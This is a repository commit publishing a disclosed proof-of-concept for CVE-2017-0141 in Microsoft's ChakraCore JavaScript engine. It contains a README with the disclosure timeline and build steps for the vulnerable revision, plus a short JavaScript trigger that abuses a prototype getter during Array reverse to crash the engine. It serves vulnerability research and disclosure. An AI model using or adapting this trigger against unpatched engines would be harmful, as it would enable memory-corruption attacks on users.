Merge pull request Semmle#6 from kev/ChakraCore_CVE-2017-0141

Proof-of-concept exploit for CVE-2017-0141

Author: m-y-mo

Microsoft/ChakraCore/CVE-2017-0141/README.md

@@ -0,0 +1,28 @@
+# Remote code execution in Microsoft ChakraCore (CVE-2017-0141)
+
+This directory contains a proof of concept exploit for a remote code execution vulnerability in [ChakraCore](https://github.com/Microsoft/ChakraCore), the Javascript engine for Microsoft Edge. The vulnerability was caused by [this pull request](https://github.com/Microsoft/ChakraCore/pull/2196), which was a botched fix for [CVE-2016-7202](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7202). Semmle reported the vulnerability to Microsoft on 2016-12-19. Microsoft assigned it [CVE-2017-0141](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0141) and released a fix on [2017-03-14](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0141).
+
+# Reproduction steps
+
+First you need to build the version of ChakraCore with the vulnerability. On Windows, in a VS2015 [developer command prompt](https://docs.microsoft.com/en-us/dotnet/framework/tools/developer-command-prompt-for-vs), run these commands to download and build the vulnerable revision:
+
+```bat
+git clone https://github.com/Microsoft/ChakraCore.git
+cd ChakraCore
+git checkout eecf271764ce0ee8ea58c2ec9c22bc2dd69861e7  &:: Version with "fix" for CVE-2016-7202
+msbuild /t:rebuild /m /p:Platform=x64 /p:Configuration=Release Build\Chakra.Core.sln
+```
+
+Note: this revision of ChakraCore is too old to build with VS2017. You need VS2015 or earlier.
+
+If the build was successful, then you can run the exploit like this:
+
+```bat
+Build\VcBuild\bin\x64_release\ch.exe cve-2017-0141.js
+```
+
+This causes ChakraCore to crash with the following error message:
+
+```
+FATAL ERROR: ch.exe failed due to exception code c0000005
+```

Microsoft/ChakraCore/CVE-2017-0141/cve-2017-0141.js

@@ -0,0 +1,16 @@
+var a = [1];
+a.length = 1000;
+
+var o = {};
+  Object.defineProperty(o, '1', {
+    get: function() {
+      for (var i = 0; i < 0x100000; i++) {
+          a[0x100000 + i] = i; 
+      }
+      return 2;
+    }
+  });
+
+a.__proto__ = o;
+
+var r = [].reverse.call(a);